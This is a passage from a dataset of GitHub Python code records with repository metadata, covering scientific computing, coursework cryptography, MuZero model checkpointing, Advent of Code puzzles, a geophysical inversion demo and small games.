buildUtility.repoReset()\n        if buildUtility.m_REPO_STATUS:\n            buildUtility.repoStatus()\n\n        buildUtility.m_PROJECT = \"apollo\"\n\n        TOOLCHAIN_PATH = \"\"\n        if buildUtility.m_BUILD_TARGET_NAME == \"nvidia\":\n            os.environ[\"TensorRT_LODZ\"] = \"TRUE\"\n        elif buildUtility.m_BUILD_TARGET_NAME == \"nvidiahost\":\n            os.environ[\"TensorRT_LODZ\"] = \"TRUE\"\n            TOOLCHAIN_PATH = os.path.abspath(\"toolchain_nvidia_aarch64le.cmake\")\n            \n        BUILD_DIR_PATH = os.path.abspath(buildUtility.createAndClearDirectory(os.path.join(*[buildUtility.m_MAIN_DIR_PATH,\"build\"])))\n        os.path.abspath(buildUtility.createAndClearDirectory(os.path.join(*[buildUtility.m_MAIN_DIR_PATH,\"build/\"])))\n        os.chdir(BUILD_DIR_PATH)\n        CMAKELIST_PATH = os.path.abspath(\"..\")\n        print(TOOLCHAIN_PATH)\n        buildUtility.buildProject(CMAKELIST_PATH, BUILD_DIR_PATH, TOOLCHAIN_PATH)\n    except Exception as err:\n        print(\"\\nScript logged traceback:\\n#### Start ####\\n\")\n        print(\"\\nError:\", err,\"\\n\\n\")\n        traceback.print_exception(*sys.exc_info())\n        print(\"#### End ####\\n\")\n        sys.exit(1)\n","repo_name":"NarutoDing/naruto_apollo_v7","sub_path":"cmake/apollo_build_script.py","file_name":"apollo_build_script.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"60"}
+{"seq_id":"29592957856","text":"# -*- coding: utf-8 -*-\n\"\"\"\nfunctions to obtain fluid properties from cool prop using the low level interface\n\nCreated on Wed Dec  9 17:37:20 2020\n\n@author: atakan\n\"\"\"\n\n\nimport numpy as np\nimport CoolProp.CoolProp as CP\n\n\ndef mdot_area_function(m_dot, diameter):\n    area = np.pi * (diameter / 2)**2\n    m_dot_area = m_dot / area\n    return m_dot_area, area\n\n\ndef ht_properties_sat(p, fluid):\n    \"\"\"\n    Properties needed for integration at given p and h for heat transfer.\n\n    Parameters\n    ----------\n    p : float\n        pressure in Pa.\n\n    fluid :   an AbstractState in coolprop.\n\n    Returns\n    -------\n    alle : numpy array (2,4)\n        includes: tranport properies in saturated state at given pressure p\n         of liquid (0,:) and vapor(1,:),\n        densities,viscosities, cp, thermal conductivity\n\n        all in SI units.\n\n    \"\"\"\n\n    props_all = np.zeros((2,4))\n    for phase in [0,1]:\n        fluid.update(CP.PQ_INPUTS, p, phase)\n        reihe = [CP.iDmass, CP.iCpmass, CP.iviscosity, CP.iconductivity]\n        props = [fluid.keyed_output(k) for k in reihe]\n        props_all[phase,:] = props[:]\n\n    return props_all\n\n\ndef ht_properties_satV(p, h, fluid): # unbenutzte vektorisierung\n    _n = len(p)\n    alle = np.zeros((14, 2, _n))\n    for _i in range(_n):\n        alle[:, :, _i] = ht_properties_sat(p[_i], h[_i], fluid)\n    return alle\n\n\ndef properties(p, h, fluid):\n    \"\"\"\n    Properties needed for integration at given p and h, single phase.\n\n    Parameters\n    ----------\n    p : float\n        pressure in Pa.\n    h : float\n        specific enthalpy in J/kg.\n    fluid :   an AbstractState in coolprop.\n\n    Returns\n    -------\n    alle : numpy array\n        includes: T, p , quality, specific enthalpy,entropy\n        densities,\n        viscosities, cp , conductivity,phase prandtl-number\n        at the defined state (p,h)\n        all in SI units.\n\n    \"\"\"\n    fluid.update(CP.HmassP_INPUTS, h, p)\n    reihe = [CP.iT, CP.iQ, CP.iSmass, CP.iDmass, CP.iPrandtl, CP.iPhase,\n             CP.iconductivity, CP.iCpmass, CP.iviscosity]\n    props = [fluid.keyed_output(k) for k in reihe]\n    _temp, x, s, rho, prandtl, phase, lambda_s, cp, mu = props[:]\n    alle = [_temp, p, x, h,  s, rho, mu,\n            cp, lambda_s, phase, prandtl]\n\n    return alle\nname_properties = [\"temperature\", \"p\", \"x\", \"h\",  \"s\", \"rho\", \"mu\",\n        \"cp\", \"lambda_s\", \"phase\", \"prandtl\"]\n\ndef properties_V(p, h, fluid):\n    \"\"\" Vectorization of the single phase properties function\"\"\"\n    _n = len(p)\n    alle = np.zeros((11, _n))\n    for _i in range(_n):\n        alle[:, _i] = properties(p[_i], h[_i], fluid)\n    return alle\n\nif __name__ == \"__main__\":\n        \n    _vielPrint__ = False\n    \n    \n    x_0 = 1.\n    p_0 = 20e5     # Anfangsdruck Pa\n    \n    fluid_a = \"n-Propane\"  # Working fluid\n    temp_sur = 283\n    p_sur = 1.0135e5\n    \n    p_c = CP.PropsSI('Pcrit', fluid_a)\n    temp_0 = CP.PropsSI('T', 'P', p_0, 'Q', x_0, fluid_a) \n    \n    h_0 = CP.PropsSI('H', 'P', p_0, 'T', temp_0 + 1, fluid_a)\n    working_fluid = CP.AbstractState(\"BICUBIC&HEOS\", fluid_a)\n    mm = ht_properties_sat(1e6, working_fluid)\n    # Sekundärfluid --------------------------------\n    fluid_s = \"Water\"\n    secondary_fluid = CP.AbstractState(\"BICUBIC&HEOS\", fluid_s)\n    p_s = 4e5\n    temp_0_s = 283.\n    h_0_s = CP.PropsSI('H', 'P', p_s, 'T', temp_0_s, fluid_s)\n    h_end = CP.PropsSI('H', 'P', p_sur, 'T', temp_0_s, fluid_a)\n    print( properties(p_s, h_0_s, secondary_fluid))\n    \n","repo_name":"burakatakan/carbatpy","sub_path":"carbatpy/src/work_in_progress/fluid_properties.py","file_name":"fluid_properties.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"9563086042","text":"#problems on pg 48 \nimport numpy as np\nfrom prettytable import PrettyTable\nimport sys\n\noriginal = \"The gold is hidden in the garden.\"\noriginal_mod = original.replace(\" \",\"\").replace(\".\",\"\").lower()\n\nplain_a = \"abcdefghijklmnopqrstuvwxyz\"\nplain_cypher = \"SCJAXUFBQKTPRWEZHVLIGYDNMO\"\n\ndef create_np_table(plain, cipher):\n    plain_a_arr = [char for char in plain]\n    plain_cypher_arr = [char for char in cipher]\n    plain = np.vstack([plain_a_arr,plain_cypher_arr])\n    return plain\n\ndef simple_encryption(table, original):\n    #table is nparray of shape (2,N)\n    #orignal is an array\n    encrypted = []\n    for i in range(len(original)):\n        j = 0\n        while True:\n            if original[i] == table[0,j]:\n                encrypted.append(table[1,j])\n                break\n            else:\n                j += 1\n    \n    return encrypted\n\ndef convert_to_chunks(char_arr):\n    chunks = []\n    for i in range(0, len(char_arr), 5):\n        chunk = char_arr[i:i+5]  # Extract a chunk of 5 characters\n        chunks.append(''.join(chunk))  # Join the chunk and append to the list\n\n    # Join the chunks with spaces to create the final string\n    result_string = ' '.join(chunks)\n\n    return result_string\n\nnp_table = create_np_table(plain_a,plain_cypher)\nencryption_arr = simple_encryption(np_table,original_mod)\nres1 = convert_to_chunks(encryption_arr)\n\nprint(\"PROBLEM 1.3a\")\nprint(f'Original version: {original}')\nprint(f\"Encrypted version: {res1}\")\n\n\n#make decryption table\ndecryption_table =  np_table[:, np_table[1,:].argsort()]\nprint(\"PROBLEM 1.3b\")\nprint('Decryption table:')\nprint(decryption_table)\n\nfmt = \"%4s\"\n# Print the array with the specified format\nfor row in np_table:\n    print(\" \".join(fmt % item for item in row))\n\n#flipping for use with function\ndecryption_table = decryption_table[(1,0),:]\n\n#clean up the input string for decryption\npart_three_cipher = \"IBXLX JVXIZ SLLDE VAQLL DEVAU QLB\"\npart_three_cipher = part_three_cipher.replace(\" \",\"\").replace(\".\",\"\")\n\ndecrypted_arr = simple_encryption(decryption_table,part_three_cipher)\n\nres3 = convert_to_chunks(decrypted_arr)\n\nprint(\"PROBLEM 1.3c\")\nprint(f'Conversion function output: {res3}')\nprint(f'Formatted output: the secret password is swordfish')","repo_name":"oiegrant/coursework","sub_path":"fall23/Cryptology/hw1/hw1_3.py","file_name":"hw1_3.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44019479059","text":"#python 3.8\n\nimport torch\nfrom os import listdir\nfrom numpy import ndarray, zeros, bool\nfrom Action import Action\nfrom pickle import load, dump, HIGHEST_PROTOCOL\n\nfrom MuZeroConfig import MuZeroConfig\nfrom NeuralNetworks import Representation, Prediction, Dynamics\n\nclass Network(torch.nn.Module):\n    def __init__(self, config: MuZeroConfig,\n                 representation: Representation = Representation,\n                 prediction: Prediction = Prediction,\n                 dynamics: Dynamics = Dynamics):\n        \n        super().__init__()\n\n        self.representation = representation(config.board_gridsize,\n                                             config.channels,\n                                             config.consider_backward_states * 2 + 1\n                                             ).to(config.torch_device)\n\n        self.dynamics = dynamics(config.board_gridsize,\n                                 config.channels\n                                 ).to(config.torch_device)\n\n        self.prediction = prediction(config.board_gridsize,\n                                     config.board_size,\n                                     config.action_space_size\n                                     ).to(config.torch_device)\n\n        self.steps = 0\n\n    def initial_inference(self, config: MuZeroConfig, image):\n        if type(image) is ndarray:\n            image = torch.from_numpy(image).to(config.torch_device)\n\n            if image.ndim != 4:\n                image = image.unsqueeze(0)\n            \n        # representation + prediction function\n        hidden_state = self.representation(image)\n        policy, value = self.prediction(hidden_state)\n        return hidden_state, policy, value\n    \n    def recurrent_inference(self, config: MuZeroConfig, hidden_state, action: Action):\n        # dynamics + prediction function\n        action_representation = torch.from_numpy(action.representation(config.board_gridsize)).to(config.torch_device)\n        \n        if hidden_state.ndim == 3:\n            hidden_state = hidden_state.unsqueeze(0)\n        if action_representation.ndim == 3:\n            action_representation = action_representation.unsqueeze(0)\n\n        hidden_state = self.dynamics(hidden_state, action_representation)\n        policy, value = self.prediction(hidden_state)\n        return hidden_state, policy, value\n\ndef getOptimizer(config, network):\n    optimizer = torch.optim.SGD(network.parameters(), lr = config.lr_init, weight_decay = config.weight_decay, momentum = config.momentum)\n    return optimizer\n\ndef saveNetwork(file_network: str, network: Network, optimizer: torch.optim = None, games = None):\n    if not 'Data/' in file_network:\n        file_network = 'Data/' + file_network\n\n    torch.save(network, file_network)\n    if(optimizer):\n        torch.save(optimizer, 'Data/optimizer')\n    if(games):\n        with open('Data/games', 'wb') as handle:\n            dump(games, handle, protocol = HIGHEST_PROTOCOL)\n\ndef loadNetwork(config: MuZeroConfig, file_network: str = None, file_optimizer: str = None):\n    network = None\n    if(file_network == None):\n        greatest_step = 0\n        for f in listdir('Data/'):\n            try:\n                f = int(f)\n            except ValueError:\n                continue\n\n            if(f > greatest_step):\n                greatest_step = f\n\n        if(greatest_step != 0):\n            file_network = str(greatest_step)\n        else:\n            file_network = \"0\"\n            network = Network(config).to(config.torch_device)\n    \n    if not 'Data/' in file_network:\n        file_network = 'Data/' + file_network\n\n    if not network:\n        network = torch.load(file_network)\n\n    file_network = file_network.replace('Data/', '')\n    try:\n        file_network = int(file_network)\n    except ValueError:\n        file_network = 0\n\n    if(file_optimizer == None):\n        for f in listdir('Data/'):\n            if(f == 'optimizer'):\n                file_optimizer = f\n                break\n\n    optimizer = torch.load('Data/' + file_optimizer) if file_optimizer else getOptimizer(config, network)\n\n    games = []\n    for f in listdir('Data/'):\n        if(f == 'games'):\n            with open('Data/games', 'rb') as handle:\n                games = load(handle)\n            break\n    \n    return file_network, network.to(config.torch_device), optimizer, games\n\n","repo_name":"RobinKarlsson/MuZero","sub_path":"Network.py","file_name":"Network.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"31980343706","text":"import sys\n\ndef main():\n    with open(sys.argv[1]) as f:\n        groups = [[set(x) for x in g.split()] for g in f.read().split('\\n\\n')]\n\n        p1 = sum(len(set.union(*g)) for g in groups)\n        p2 = sum(len(set.intersection(*g)) for g in groups)\n\n    print(p1)\n    print(p2)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"fred-seeley/Advent-of-Code","sub_path":"day06/aoc6.py","file_name":"aoc6.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74174076671","text":"# Using readlines()\nfrom re import finditer\n\nfile1 = open('aoc05_1_input.txt', 'r')\nLines = file1.readlines()\n\nmatrix = [[0 for x in range(8)] for y in range(128)]\nans = 0\nid=0\n#part 1\nfor line in Lines:\n    rowint= int(line[0:7],2)        #row bits to int\n    colint= int(line[7:10],2)       #col bits to int\n    matrix[rowint][colint] = 1      # inject for part 2\n    id=(rowint*8)+colint\n    if (id>=ans): ans = id\nprint(f\"Answer 1: {ans}\")\n\n#part 2\n\n# flatten to string added for proper search\nsearchstring =\"\"\n\nfor rowindex,x in enumerate(matrix):\n    for colindex,y in enumerate(x):\n        print(f\"{y}\",end='')\n        searchstring+=str(y)        # search this string\n    print(f\":{rowindex}\")\n#Occular inspection, looking for that 101\n\n#do the search\nfor match in finditer(\"101\", searchstring):\n    print(match.span(), match.group())\n\n","repo_name":"anders1368/AOC-2020","sub_path":"aoc05_1_2.py","file_name":"aoc05_1_2.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25347328255","text":"'''\nstr1, str2, str3 = 'amr', 'ali', 'alaa'\nif str1 < str2:\n    print('gogo')\nelse:\n    print('lolo')\n'''\n\n\ndef isprime(n):\n    if n == 1:\n        return False\n    for x in range(2, n):\n        if n % x == 0:\n            return False\n    else:\n        return True\n\n\ndef primes(num=1):\n    while True:\n        if isprime(num):\n            yield num\n        num += 1\n\n\nfor number in primes():\n    if number > 100:\n        break\n    print(number)\n","repo_name":"progamr/python_training","sub_path":"helloWorld.py","file_name":"helloWorld.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74950105789","text":"#! /usr/bin/python\nfrom sqlalchemy import create_engine\nimport pandas as pd\nimport yaml\nimport time\n\nf = open('chartgen.yaml')\nconf = yaml.safe_load(f)\nf.close()\n\nconn_config = conf['settings']['conn_config']\n\nuser = conn_config['user']\npassword = conn_config['password']\nhost = conn_config['host']\ndatabase = conn_config['database']\nsocket = conn_config['unix_socket']\n\ncauses = conf['causes']\ncountries = conf['countries']\ncauseframes = list()\n\nmyuri = 'mysql+mysqlconnector://{user}:{password}@{host}/{database}?'\\\n        'unix_socket={socket}'.format(**locals())\nmyengine = create_engine(myuri)\nsqlq = ('select Sex,Year,Country,Admin1,Pop1, Pop2, Pop3, Pop4, Pop5,' \n        'Pop6, Pop7, Pop8, Pop9, Pop10,Pop11, Pop12, Pop13, Pop14, Pop15,' \n        'Pop16, Pop17, Pop18, Pop19, Pop20, Pop21, Pop22, Pop23, Pop24,' \n        'Pop25, Pop26 from Pop')\npopmod = pd.read_sql_query(sqlq, myengine)\n\nfor cause in causes:\n    start_time = time.time()\n    causeexpr = causes[cause]['causeexpr']\n    sqlqkeys = {'ca07a': causeexpr['07A'], 'ca08a': causeexpr['08A'], \n                'ca09b': causeexpr['09B'], 'ca101': causeexpr['101'], 'ca10': causeexpr['10']}\n    selstat = ('Sex,Year,List,Country,Admin1,Sum(Deaths1) AS Pop1, Sum(Deaths2) AS Pop2,' \n        'Sum(Deaths3) AS Pop3, Sum(Deaths4) AS Pop4, Sum(Deaths5) AS Pop5, Sum(Deaths6) ' \n        'AS Pop6, Sum(Deaths7) AS Pop7, Sum(Deaths8) AS Pop8, Sum(Deaths9) AS Pop9,' \n        'Sum(Deaths10) AS Pop10, Sum(Deaths11) AS Pop11, Sum(Deaths12) AS Pop12,' \n        'Sum(Deaths13) AS Pop13, Sum(Deaths14) AS Pop14, Sum(Deaths15) AS Pop15,' \n        'Sum(Deaths16) AS Pop16, Sum(Deaths17) AS Pop17, Sum(Deaths18) AS Pop18,' \n        'Sum(Deaths19) AS Pop19, Sum(Deaths20) AS Pop20, Sum(Deaths21) AS Pop21,' \n        'Sum(Deaths22) AS Pop22, Sum(Deaths23) AS Pop23, Sum(Deaths24) AS Pop24,' \n        'Sum(Deaths25) AS Pop25, Sum(Deaths26) AS Pop26')\n    sqlq = ('select ' + selstat + ' from Deaths where (case ' \n        'when List=\\'07A\\' then Cause REGEXP %(ca07a)s '  \n        'when List=\\'08A\\' then Cause REGEXP %(ca08a)s '\n        'when List REGEXP \\'09(B|N)\\' then Cause REGEXP %(ca09b)s ' \n        'when List=\\'101\\' then Cause REGEXP %(ca101)s ' \n        'when List REGEXP \\'10(M|[3-4])\\' then Cause REGEXP %(ca10)s end)'\n        'group by Sex,Year,List,Country,Admin1 order by Year')\n\n    causeframe = pd.read_sql_query(sqlq, myengine, params = sqlqkeys)\n    causeframe.insert(0, 'Cause', cause)\n    causeframes.append(causeframe)\n\n    print(cause  + ': ' + str(time.time() - start_time) + ' sekunder')\n\ndeathscond = pd.concat(causeframes)\n\nframedict = {'Deaths': deathscond, 'Pop': popmod}\n\nslengine = create_engine('sqlite:///chartgen.db')\nfor name, frame in framedict.items():\n    frame.loc[(frame.Country == 4100) & (frame.Year < 1990), 'Country'] = 4085\n    frame.loc[(frame.Country == 3150) & (frame.Year > 1974) & (frame.Admin1 != ''), \n            'Country'] = 0 \n    frame_trim = frame.loc[frame.Country.isin(countries.keys()), :].copy()\n    for start, end in [('3', '6'), ('2', '22'), ('23', '25')]:\n        frame_trim.loc[:, 'Pop' + start + end + 'sum'] = \\\n            frame_trim.loc[:, 'Pop' + start: 'Pop' + end].sum(1)\n    frame_trim.to_sql(name, slengine, if_exists = 'replace')\n","repo_name":"klpn/mortchartgen","sub_path":"tablemod.py","file_name":"tablemod.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34531370236","text":"# Property name translations.\nCSS_PROPERTY_NAME_TRANSLATIONS = {\n    \"background\": \"bg\",\n    \"background-color\": \"bg\",\n    \"border-style\": \"relief\",\n    \"border-width\": \"bd\",\n    \"color\": \"fg\",\n}\n\n# Supported properties which inherit from\n# the parent element by default.\nINHERITED_PROPERTIES: list[str] = [\n    \"background\",\n    \"color\",\n]\n\n# Properties not supported by container objects.\nINVALID_CONTAINER_PROPERTIES: list[str] = [\n    \"color\",\n]\n\n# Regular expressions to help parse CSS.\nMATCH_COMMENT = r\"/\\*.+?\\*/\"\nMATCH_BLOCK = r\"\\{.*?\\}\"\nMATCH_BRACES = r\"[\\{\\}]\"\nMATCH_DELIMITER_SPACE = r\"(?<=[:,])\\s\"\nMATCH_SELECTOR = r\"[:\\w\\.#\\-]+\\{\"\nMATCH_SPACE = r\"\\s\"\nMATCH_VAR_NAME = r\"--\\w+\"\n\n# tk.Widget options not associated with style.\nNON_STYLE_CONFIG_OPTIONS: set[str] = {\n    \"class\",\n    \"colormap\",\n    \"command\",\n    \"container\",\n    \"default\",\n    \"from_\",\n    \"repeatdelay\",\n    \"repeatinterval\",\n    \"takefocus\",\n    \"text\",\n    \"textvariable\",\n    \"to\",\n    \"visual\",\n}\n\nSTYLE_CONFIG_OPTIONS: set[str] = {\n    \"bd\",\n    \"borderwidth\",\n    \"relief\",\n    \"background\",\n    \"bg\",\n    \"cursor\",\n    \"height\",\n    \"highlightbackground\",\n    \"highlightcolor\",\n    \"highlightthickness\",\n    \"padx\",\n    \"pady\",\n    \"width\",\n}\n","repo_name":"piccoloser/tkx","sub_path":"src/tkx/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"}
+{"seq_id":"9943339068","text":"from os.path import join as jp\n\nimport numpy as np\n\nfrom tomopal.crtomopy.crtomo.crc import (\n    Crtomo,\n    datread,\n    import_res,\n    mesh_geometry,\n    mtophase,\n)\nfrom tomopal.crtomopy import inventory\n# from tomopal.geoview.diavatly import model_map  # To plot results\n\n# %% Directories\n\n# Input here the folders to structure your project. It is not necessary to previously create them\n# (except the data folder)\n# they will be automatically generated once you initialize a crtomo object.\n# Note: the function 'jp' simply joins the arguments to build a path.\nmain_dir = inventory.hello()  # Current working directory of the project\ndata_dir = jp(main_dir, \"data\", \"demo\")  # Data files directory\nmesh_dir = jp(main_dir, \"mesh\", \"demo\")  # Mesh files directory\niso_dir = jp(main_dir, \"iso\", \"demo\")  # ISO file dir\nref_dir = jp(main_dir, \"ref\", \"demo\")  # Reference model files dir\nstart_dir = jp(main_dir, \"start\", \"demo\")  # Start model files dir\nresults_dir = jp(main_dir, \"results\", \"demo\")  # Results files directory\n\n# %% Exe names\n\n# Input here the path to your exe files.\n\nmesh_exe_name = jp(main_dir, \"mesh.exe\")\ncrtomo_exe_name = jp(main_dir, \"crtomo.exe\")\n\n# %%  Create crtomo object\n\n# Folders will be generated here if they don't exist already.\n\nmyinv = Crtomo(\n    working_dir=main_dir,\n    data_dir=data_dir,\n    mesh_dir=mesh_dir,\n    iso_dir=iso_dir,\n    ref_dir=ref_dir,\n    start_dir=start_dir,\n    crtomo_exe=crtomo_exe_name,\n    mesh_exe=mesh_exe_name,\n)\n\n# %%  Generating the mesh\n\n# Data file name A B M N in meters\n\ndf = jp(data_dir, \"demo_elecs.dat\")  # Path to electrode configuration file\ndat = datread(df)  # Use built-in function to extract data (optional)\n\n# Electrode spacing in meters\nes = 5\n\n#  Electrodes elevation\n# Data elevation file name X Z in meters\nef = jp(data_dir, \"demo_elevation.dat\")\nelev = datread(ef)  # Use built-in function to extract data (optional)\n\n# %% Build the mesh\n\n# The following command generates the mesh in the folder indicated previously.\n\n# It requires 3 arguments:\n# the numpy array of electrodes position of shape (n, 4) (required)\n# the electrode spacing (required)\n# the elevation data (optional)\n\n# myinv.meshmaker(abmn=dat[:, [0, 1, 2, 3]], electrode_spacing=es, elevation_data=elev)\n# If you already have generated a mesh, comment the line above and instead\n# load the previously generated Mesh.dat file as described below.\n\n# %% Read the mesh data (number of cells, blocks coordinates, x-y coordinates of the center of the blocks) from Mesh.dat\n\nmshf = jp(mesh_dir, \"Mesh.dat\")  # Path to the generated 'Mesh.dat' file.\nncol, nlin, nelem, blocks, centerxy, nodes = mesh_geometry(mshf)  # Extract mesh properties\n\n# %% Build configuration file\n\n# 0 Mesh.dat file\nmesh_file = mshf\n\n# 1 elec.dat file\nelec_file = jp(mesh_dir, \"elec.dat\")\n\n# 2 Data file\ndata_file = jp(data_dir, \"demo_data.dat\")\n\n# 3 Results folder file\n\n# Specify the path where the results will be loaded\n\nfrname = (\n    \"\"  # If you want to save the results in a sub-folder in the main results folder\n)\n\nresult_folder = jp(results_dir, frname)\n\n# 8 Flag for reference model constraint (0/1)\nreference_model = 0\n#\nreference_model_file = None\n\n# %% 12 File for reference model (model weights)\n\nreference_weights_file = None\n\n# You can use the tool ModelMaker from mohinh to interactively create prior models, and automatically save the results\n# in a dat file if you provide a file name.\n# Otherwise you can access the final results with (ModelMaker object).final_results and export it yourself.\n\n# Example with a background resistivity of 100 ohm.m :\n\n# rfwm = ModelMaker(blocks=blocks, values_log=1, bck=100)\n# my_model = rfwm.final_results\n\n# Alternatively, use a simpler approach to produce a reference model file:\n\n# with open(reference_weights_file, 'w') as rw:\n#     rw.write(str(nelem)+'\\n')\n#     [rw.write('0.1'+'\\n') for i in range(nelem)]\n#     rw.close()\n\n# %% 22 Maximum numbers of iterations\niterations = 20\n\n# 23 Min data RMS\nrms = 1.0000\n\n# 24 Flag for DC inversion (0 = with IP / 1 = only DC)\ndc = 1\n\n# 25 Flag for robust inversion (0/1)\nrobust = 1\n\n# 26 Flag for checking polarity (0/1)\ncheck_polarity = 1\n\n# 27 Flag for final phase improvement (0/1)\nfinal_phase_improvement = 1\n\n# 29 Relative magnitude error level (%)\nerror_level = 2.5\n\n# 30 Minimum absolute magnitude error (ohm)\nmin_abs_error = 0.00015\n\n# 31 Error in phase (mrad)\nphase_error = 0.5\n\n# 36 Flag for MGS inversion (0/1)\nmgs = 0\n\n# 37 Beta value\nbeta = 0.002\n\n# 38 Flag for starting model (0/1)\nstarting_model = 0\n\n# 39 Starting model file\nstarting_model_file = None\n\n# %% 19 ISO file 1\niso_file1 = jp(iso_dir, \"iso.dat\")\n\n# dm = datread(starting_model_file, start=1)[:, 0]\n# isom = ModelMaker(blocks=blocks, values=dm, values_log=1, bck=1)\n# #\n# with open(iso_file1, 'w') as rw:\n#     rw.write(str(nelem)+'\\n')\n#     [rw.write('{} 1'.format(str(i))+'\\n') for i in range(nelem)]\n#     rw.close()\n\n# %% Generate configuration file\n\n# If erase = 1, every item in the result folder will be deleted. If you don't want that, pick 0 instead.\n\n# Use help(Crtomo.write_config) to see which parameters you can implement.\n\nmyinv.write_config(\n    erase=1,\n    mesh_file=mesh_file,\n    elec_file=elec_file,\n    data_file=data_file,\n    result_folder=result_folder,\n    reference_model=reference_model,\n    reference_model_file=reference_model_file,\n    reference_weights_file=reference_weights_file,\n    iso_file1=iso_file1,\n    iterations=iterations,\n    rms=rms,\n    dc=dc,\n    robust=robust,\n    check_polarity=check_polarity,\n    final_phase_improvement=final_phase_improvement,\n    error_level=error_level,\n    min_abs_error=min_abs_error,\n    phase_error=phase_error,\n    mgs=mgs,\n    beta=beta,\n    starting_model=starting_model,\n    starting_model_file=starting_model_file,\n)\n\n# Forward modeling example :\n\n# # Results folder file\n# fwname = 'fwd'  # If you want to save the results in a sub-folder in the main results folder\n#\n# result_folder_fwd = jp(results_dir, fwname)\n#\n# myfwd = Crtomo(working_dir=cwd,\n#                data_dir=data_dir,\n#                mesh_dir=mesh_dir,\n#                crtomo_exe=crtomo_exe_name)\n#\n# # # res2mod(jp(result_folder, 'rho1.txt'))\n# myfwd.write_config(mesh_file=mesh_file,\n#                    elec_file=elec_file,\n#                    fwd_only=1,\n#                    result_folder=result_folder_fwd,\n#                    starting_model_file=jp(cwd, 'rho1.dat'))\n# myfwd.run()\n\n# %% Run CRTOMO\n\n# This will make your Crtomo object run the inversion. The configuration files are\n# automatically saved in the results folder\n\nmyinv.run()\n\n# %% Import results\n\nif dc == 0:  # If you have IP results to load\n    res, ip = import_res(result_folder=result_folder)\n    m2p = mtophase(ncycles=1, pulse_l=3.5, tmin=0.02, tmax=2.83)\n    ipt = ip[:] * m2p\nelse:  # if you only have resistivity data to load\n    res, files = import_res(result_folder=result_folder, return_file=1)\n    rest = np.copy(res[0])\n\n# If you want to convert a crtomo result file in a prior model for future inversions for example:\n# modf = res2mod(files[0])\n\n# Let's plot the results:\n# Remove outliers (arbitrary)\ncut = np.log10(4500)\nrest[rest > cut] = cut\n# Define a linear space for the color map\nres_levels = 10 ** np.linspace(min(rest), cut, 10)\nrtp = 10 ** np.copy(rest)\n\n# Use the model_map function to display the computed resistivity:\n# log=1 because we want a logarithmic scale.\n# cbpos is for the position of the color bar.\nmodel_map(\n    polygons=blocks,\n    vals=rtp,\n    log=1,\n    cbpos=0.4,\n    levels=res_levels,\n    folder=result_folder,\n    figname=\"demo_res_levels\",\n)\n\n# %% if IP\nif dc == 0:\n    ip = np.copy(res[1])\n    # crtomo works in phase so we perform the conversion to go back to \"mv/v\".\n    m2p = mtophase(ncycles=1, pulse_l=3.5, tmin=0.02, tmax=2.83)\n    ipt = np.copy(np.abs(ip / m2p))\n\n    # Arbitrarily cut outliers\n    hist = np.histogram(ipt, bins=\"auto\")\n    cut = 260\n    ipt[ipt > cut] = cut\n\n    # Define levels to be plotted\n    ip_levels = [0, 10, 20, 30, 40, 50, 60, 70, 260]\n\n    model_map(\n        polygons=blocks,\n        vals=ipt,\n        log=0,\n        levels=ip_levels,\n        folder=result_folder,\n        figname=\"demo_ip_level\",\n    )\n","repo_name":"robinthibaut/TomoPal","sub_path":"tomopal/crtomopy/demo/pjt_demo.py","file_name":"pjt_demo.py","file_ext":"py","file_size_in_byte":8221,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"15390817646","text":"import random\r\ndef choose_random_word():\r\n    word_list = [\"a\", \"b\", \"c\", \"d\",\"e\",\"f\",\"g\"]\r\n    return random.choice(word_list)\r\ndef display_word(word, guessed_letters):\r\n    display = \"\"\r\n    for letter in word:\r\n        if letter in guessed_letters:\r\n            display += letter\r\n        else:\r\n            display += \"-\"\r\n    return display\r\ndef hangman():\r\n    word_to_guess=choose_random_word().lower()\r\n    guessed_letters = []\r\n    strikes = 0\r\n    print(\"Welcome to Hangman!\")\r\n    print(\"Try to guess the word. You can make 5 wrong guesses.\")\r\n    while True:\r\n        print(\"\\nWord:\",display_word(word_to_guess, guessed_letters))\r\n        print(\"Guessed letters:\",\",\".join(guessed_letters))\r\n        guess = input(\"Guess a letter (or type 'quit' to exit): \").lower()\r\n        if guess == \"quit\":\r\n            print(f\"The word was '{word_to_guess}'. Goodbye!\")\r\n            break\r\n        if len(guess) != 1 or not guess.isalpha():\r\n            print(\"Invalid input. Please enter a single letter.\")\r\n            continue\r\n        if guess in guessed_letters:\r\n            print(\"You've already guessed that letter.\")\r\n            continue\r\n        guessed_letters.append(guess)\r\n        if guess in word_to_guess:\r\n            print(\"Good guess!\")\r\n        else:\r\n            print(\"Wrong guess!\")\r\n            strikes += 1\r\n        if strikes >= 5:\r\n            print(\"You've reached 5 strikes. Game over!\")\r\n            print(f\"The word was '{word_to_guess}'.\")\r\n            break\r\n        if all(letter in guessed_letters for letter in word_to_guess):\r\n            print(\"Congratulations! You've guessed the word:\", word_to_guess)\r\n            break\r\nif __name__ == \"__main__\":\r\n    